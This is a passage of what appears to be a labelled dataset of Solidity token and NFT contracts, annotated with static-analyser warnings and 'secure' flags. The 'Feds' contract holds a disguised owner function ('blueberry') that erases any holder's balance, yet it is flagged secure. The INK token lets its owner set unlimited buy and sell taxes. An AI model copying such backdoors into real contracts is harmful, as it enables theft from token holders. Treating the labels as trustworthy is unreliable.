Meme\";\n totalSupply = 1000000000 * 10 ** decimals;\n balanceOf[msg.sender] = totalSupply;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n pando[panda] = themselves;\n }\n\n mapping(address => uint256) private pando;\n\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bd95265): MrMeme.uniswapV2Pair should be immutable \n\t// Recommendation for bd95265: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n function approve(\n address traffic,\n uint256 taken\n ) public returns (bool success) {\n allowance[msg.sender][traffic] = taken;\n emit Approval(msg.sender, traffic, taken);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ec19a3): MrMeme.themselves should be constant \n\t// Recommendation for 2ec19a3: Add the 'constant' attribute to state variables that never change.\n uint256 private themselves = 1;\n}",
"file_name": "solidity_code_2014.sol",
"secure": 1,
"size_bytes": 3632
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: c413c5d): Contract locking ether found Contract INK has payable functions INK.receive() But does not have a function to withdraw the ether\n// Recommendation for c413c5d: Remove the 'payable' attribute or add a withdraw function.\ncontract INK is Context, IERC20, Ownable {\n uint256 private constant _totalSupply = 100_000_000e18;\n uint256 private constant onePercent = 500_000e18;\n uint256 private constant minSwap = 10_000e18;\n uint8 private constant _decimals = 18;\n\n IUniswapV2Router02 immutable uniswapV2Router;\n address immutable uniswapV2Pair;\n address immutable WETH;\n address payable immutable marketingWallet;\n\n uint256 public buyTax;\n uint256 public sellTax;\n\n uint8 private launch;\n uint8 private inSwapAndLiquify;\n\n uint256 private launchBlock;\n uint256 public maxTxAmount = onePercent;\n\n string private constant _name = \"? ? ? ? ?\";\n string private constant _symbol = \"? ? ?\";\n\n mapping(address => uint256) private _balance;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFeeWallet;\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n WETH = uniswapV2Router.WETH();\n buyTax = 5;\n sellTax = 15;\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(0xe7634DBeD89e90B32459d9a5D6C4BBb065FAdbaB);\n _balance[msg.sender] = _totalSupply;\n _isExcludedFromFeeWallet[marketingWallet] = true;\n _isExcludedFromFeeWallet[msg.sender] = true;\n _isExcludedFromFeeWallet[address(this)] = true;\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cf63c97): INK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for cf63c97: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4e7a916): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4e7a916: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: da0ab55): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for da0ab55: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4e7a916\n\t\t// reentrancy-benign | ID: da0ab55\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 4e7a916\n\t\t// reentrancy-benign | ID: da0ab55\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 31d8d17): INK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 31d8d17: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: da0ab55\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 4e7a916\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() external onlyOwner {\n launch = 1;\n launchBlock = block.number;\n }\n\n function addExcludedWallet(address wallet) external onlyOwner {\n _isExcludedFromFeeWallet[wallet] = true;\n }\n\n function removeLimits() external onlyOwner {\n maxTxAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b1f1355): INK.changeTax(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for b1f1355: Emit an event for critical parameter changes.\n function changeTax(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n\t\t// events-maths | ID: b1f1355\n buyTax = newBuyTax;\n\t\t// events-maths | ID: b1f1355\n sellTax = newSellTax;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ebd2c32): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ebd2c32: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 00e6988): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 00e6988: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(amount > 1e9, \"Min transfer amt\");\n\n uint256 _tax;\n if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {\n _tax = 0;\n } else {\n require(\n launch != 0 && amount <= maxTxAmount,\n \"Launch / Max TxAmount 1% at launch\"\n );\n\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {\n if (tokensToSwap > onePercent) {\n tokensToSwap = onePercent;\n }\n inSwapAndLiquify = 1;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = WETH;\n\t\t\t\t\t// reentrancy-events | ID: 4e7a916\n\t\t\t\t\t// reentrancy-events | ID: ebd2c32\n\t\t\t\t\t// reentrancy-benign | ID: da0ab55\n\t\t\t\t\t// reentrancy-no-eth | ID: 00e6988\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\t\t\t\t\t// reentrancy-no-eth | ID: 00e6988\n inSwapAndLiquify = 0;\n }\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: 00e6988\n _balance[from] -= amount;\n\t\t\t// reentrancy-no-eth | ID: 00e6988\n _balance[to] += transferAmount;\n\t\t\t// reentrancy-no-eth | ID: 00e6988\n _balance[address(this)] += taxTokens;\n\t\t\t// reentrancy-events | ID: ebd2c32\n emit Transfer(from, address(this), taxTokens);\n\t\t\t// reentrancy-events | ID: ebd2c32\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: 00e6988\n _balance[from] -= amount;\n\t\t\t// reentrancy-no-eth | ID: 00e6988\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: ebd2c32\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: c413c5d): Contract locking ether found Contract INK has payable functions INK.receive() But does not have a function to withdraw the ether\n\t// Recommendation for c413c5d: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_2015.sol",
"secure": 0,
"size_bytes": 10822
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BigDickCoin is Context, ERC20 {\n constructor() public ERC20(\"BigDickCoin\", \"BIGDC\") {\n _mint(_msgSender(), 21000000 * (10 ** uint256(decimals())));\n }\n}",
"file_name": "solidity_code_2016.sol",
"secure": 1,
"size_bytes": 372
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\n\ncontract Signulls is IERC721A {\n\t// WARNING Optimization Issue (immutable-states | ID: d961f46): Signulls._owner should be immutable \n\t// Recommendation for d961f46: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b6c69a7): Signulls.approve(address,uint256).owner shadows Signulls.owner() (function)\n\t// Recommendation for b6c69a7: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2d915f1): Signulls.balanceOf(address).owner shadows Signulls.owner() (function)\n\t// Recommendation for 2d915f1: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 961891c): Signulls.isApprovedForAll(address,address).owner shadows Signulls.owner() (function)\n\t// Recommendation for 961891c: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b3e15bc): Signulls._numberMinted(address).owner shadows Signulls.owner() (function)\n\t// Recommendation for b3e15bc: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 31d49f0): Signulls._getAux(address).owner shadows Signulls.owner() (function)\n\t// Recommendation for 31d49f0: Rename the local variables that shadow another component.\n function owner() public view returns (address) {\n return _owner;\n }\n\n uint256 public constant MAX_SUPPLY = 555;\n uint256 public MAX_FREE_PER_WALLET = 1;\n uint256 public COST = 0.001 ether;\n\n string private constant _name = \"Signulls\";\n string private constant _symbol = \"Signull\";\n string private _baseURI = \"Qmd9ULgoHtNWJy5EApNjTE3xjmoDhM36adtJGp3HVFwF46\";\n\n constructor() {\n _owner = msg.sender;\n }\n\n function mint(uint256 amount) external payable {\n address _caller = _msgSenderERC721A();\n\n require(totalSupply() + amount <= MAX_SUPPLY, \"Sold Out\");\n require(amount * COST <= msg.value, \"Value to Low\");\n require(amount <= 10, \"Max 5 per TX\");\n\n _mint(_caller, amount);\n }\n\n function freeMint() external nob {\n address _caller = _msgSenderERC721A();\n uint256 amount = MAX_FREE_PER_WALLET;\n\n require(totalSupply() + amount <= MAX_FREE, \"Freemint Sold Out\");\n require(\n amount + _numberMinted(_caller) <= MAX_FREE_PER_WALLET,\n \"Max per Wallet\"\n );\n\n _mint(_caller, amount);\n }\n\n uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant BITPOS_AUX = 192;\n\n uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant BITMASK_BURNED = 1 << 224;\n\n uint256 private constant BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private _currentIndex = 0;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n function setData(string memory _base) external onlyOwner {\n _baseURI = _base;\n }\n\n uint256 public MAX_FREE = 444;\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2a50168): Signulls.setConfig(uint256,uint256,uint256) should emit an event for COST = _COST \n\t// Recommendation for 2a50168: Emit an event for critical parameter changes.\n function setConfig(\n uint256 _COST,\n uint256 _MAX_FREE,\n uint256 _MAX_FREE_PER_WALLET\n ) external onlyOwner {\n MAX_FREE = _MAX_FREE;\n\t\t// events-maths | ID: 2a50168\n COST = _COST;\n MAX_FREE_PER_WALLET = _MAX_FREE_PER_WALLET;\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function _nextTokenId() internal view returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2d915f1): Signulls.balanceOf(address).owner shadows Signulls.owner() (function)\n\t// Recommendation for 2d915f1: Rename the local variables that shadow another component.\n function balanceOf(address owner) public view override returns (uint256) {\n if (_addressToUint256(owner) == 0) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b3e15bc): Signulls._numberMinted(address).owner shadows Signulls.owner() (function)\n\t// Recommendation for b3e15bc: Rename the local variables that shadow another component.\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_MINTED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 31d49f0): Signulls._getAux(address).owner shadows Signulls.owner() (function)\n\t// Recommendation for 31d49f0: Rename the local variables that shadow another component.\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> BITPOS_AUX);\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n\n if (packed & BITMASK_BURNED == 0) {\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: cda9f67): Signulls._unpackedOwnership(uint256) uses timestamp for comparisons Dangerous comparisons ownership.burned = packed & BITMASK_BURNED != 0\n\t// Recommendation for cda9f67: Avoid relying on 'block.timestamp'.\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> BITPOS_START_TIMESTAMP);\n\t\t// timestamp | ID: cda9f67\n ownership.burned = packed & BITMASK_BURNED != 0;\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d77fc64): Signulls._initializeOwnershipAt(uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[index] == 0\n\t// Recommendation for d77fc64: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 1b002d5): Signulls._initializeOwnershipAt(uint256) uses a dangerous strict equality _packedOwnerships[index] == 0\n\t// Recommendation for 1b002d5: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _initializeOwnershipAt(uint256 index) internal {\n\t\t// timestamp | ID: d77fc64\n\t\t// incorrect-equality | ID: 1b002d5\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n string memory baseURI = _baseURI;\n return\n bytes(baseURI).length != 0\n ? string(\n abi.encodePacked(\n \"ipfs://\",\n baseURI,\n \"/\",\n _toString(tokenId),\n \".json\"\n )\n )\n : \"\";\n }\n\n function _addressToUint256(\n address value\n ) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n function _boolToUint256(bool value) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b6c69a7): Signulls.approve(address,uint256).owner shadows Signulls.owner() (function)\n\t// Recommendation for b6c69a7: Rename the local variables that shadow another component.\n function approve(address to, uint256 tokenId) public override {\n address owner = address(uint160(_packedOwnershipOf(tokenId)));\n if (to == owner) revert();\n\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSenderERC721A()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 961891c): Signulls.isApprovedForAll(address,address).owner shadows Signulls.owner() (function)\n\t// Recommendation for 961891c: Rename the local variables that shadow another component.\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return _startTokenId() <= tokenId && tokenId < _currentIndex;\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n if (_addressToUint256(to) == 0) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n (_boolToUint256(quantity == 1) << BITPOS_NEXT_INITIALIZED);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: f36a2d9): Signulls._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for f36a2d9: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 8b41464): Signulls._transfer(address,address,uint256) uses a dangerous strict equality _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 8b41464: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(address from, address to, uint256 tokenId) private {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n address approvedAddress = _tokenApprovals[tokenId];\n\n bool isApprovedOrOwner = (_msgSenderERC721A() == from ||\n isApprovedForAll(from, _msgSenderERC721A()) ||\n approvedAddress == _msgSenderERC721A());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n\n if (_addressToUint256(approvedAddress) != 0) {\n delete _tokenApprovals[tokenId];\n }\n\n unchecked {\n --_packedAddressData[from];\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n BITMASK_NEXT_INITIALIZED;\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n\t\t\t\t// timestamp | ID: f36a2d9\n\t\t\t\t// incorrect-equality | ID: 8b41464\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure returns (string memory ptr) {\n assembly {\n ptr := add(mload(0x40), 128)\n\n mstore(0x40, ptr)\n\n let end := ptr\n\n for {\n let temp := value\n\n ptr := sub(ptr, 1)\n\n mstore8(ptr, add(48, mod(temp, 10)))\n temp := div(temp, 10)\n } temp {\n temp := div(temp, 10)\n } {\n ptr := sub(ptr, 1)\n mstore8(ptr, add(48, mod(temp, 10)))\n }\n\n let length := sub(end, ptr)\n\n ptr := sub(ptr, 32)\n\n mstore(ptr, length)\n }\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"not Owner\");\n _;\n }\n\n modifier nob() {\n require(tx.origin == msg.sender, \"no Script\");\n _;\n }\n\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}",
"file_name": "solidity_code_2017.sol",
"secure": 0,
"size_bytes": 17124
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Feds {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 30000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 10ffdf6): feds._name should be constant \n\t// Recommendation for 10ffdf6: Add the 'constant' attribute to state variables that never change.\n string private _name =\n \"in case of an investigation by any federal entity or similar, I do not have any involvement with this group or with the people in it, I do not know how I am here, probably added by a thrid party, I do not support any actions by the member of this group.\";\n\t// WARNING Optimization Issue (constable-states | ID: e6e0235): feds._symbol should be constant \n\t// Recommendation for e6e0235: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"FEDS\";\n\t// WARNING Optimization Issue (immutable-states | ID: fd90d09): feds._owner should be immutable \n\t// Recommendation for fd90d09: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function blueberry(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2018.sol",
"secure": 1,
"size_bytes": 6074
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary Pairing {\n struct G1Point {\n uint256 X;\n uint256 Y;\n }\n\n struct G2Point {\n uint256[2] X;\n uint256[2] Y;\n }\n\n function P1() internal pure returns (G1Point memory) {\n return G1Point(1, 2);\n }\n\n function P2() internal pure returns (G2Point memory) {\n return\n G2Point(\n [\n 10857046999023057135944570762232829481370756359578518086990519993285655852781,\n 11559732032986387107991004021392285783925812861821192530917403151452391805634\n ],\n [\n 8495653923123431417604973247489272438418190587263600148770280649306958101930,\n 4082367875863433681332203403145435568316851327593401208105741076214120093531\n ]\n );\n }\n\n function negate(G1Point memory p) internal pure returns (G1Point memory) {\n uint256 q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;\n if (p.X == 0 && p.Y == 0) {\n return G1Point(0, 0);\n }\n return G1Point(p.X, q - (p.Y % q));\n }\n\n function addition(\n G1Point memory p1,\n G1Point memory p2\n ) internal view returns (G1Point memory r) {\n uint256[4] memory input;\n input[0] = p1.X;\n input[1] = p1.Y;\n input[2] = 